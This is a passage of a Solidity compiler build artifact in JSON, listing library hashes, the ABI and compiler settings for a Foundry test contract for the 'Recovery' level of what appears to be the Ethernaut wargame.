e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/levels/Recovery.sol\":{\"keccak256\":\"0x3c66a08eadebb91b03f62f67db4728f821eba9fc46bbcc4206dda6af75d4ecee\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://db1efcadfb9427c8800766b9f668f5df87963fcf60316937774eceaa4f2cd6ce\",\"dweb:/ipfs/QmdARiDCKNG5dThGnPQEXryESS4jPGFCXJvbAgyZcJr2DQ\"]},\"src/levels/RecoveryFactory.sol\":{\"keccak256\":\"0x2811cd78c749d47dc364dbbf0324d987a4ea8ea5eabc47564f52b07587427b83\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2fa17b4293552ad3e1b1596e0face580d6cdd93e037fc57421f34b2ed0c7d4e0\",\"dweb:/ipfs/QmQs7Ty1p4HU7Zpo3bRy5vPWKT6QLohgeeapT7wwNpX1Q9\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/Recovery.t.sol\":{\"keccak256\":\"0xb4b1b181040c37855a325aea055f08c2eb0c8cba42f6ea7f5eab9c799f79c154\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://af60a86a90bb1845bbcf0c702884c6fb3391cf10ff3a782505ba6c9ca950bdaa\",\"dweb:/ipfs/QmTPSkapBFnmAsEXU5uMagN6FvU8frDYJkmNj94bJwd7YU\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/Recovery.t.sol":"TestRecovery"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/Q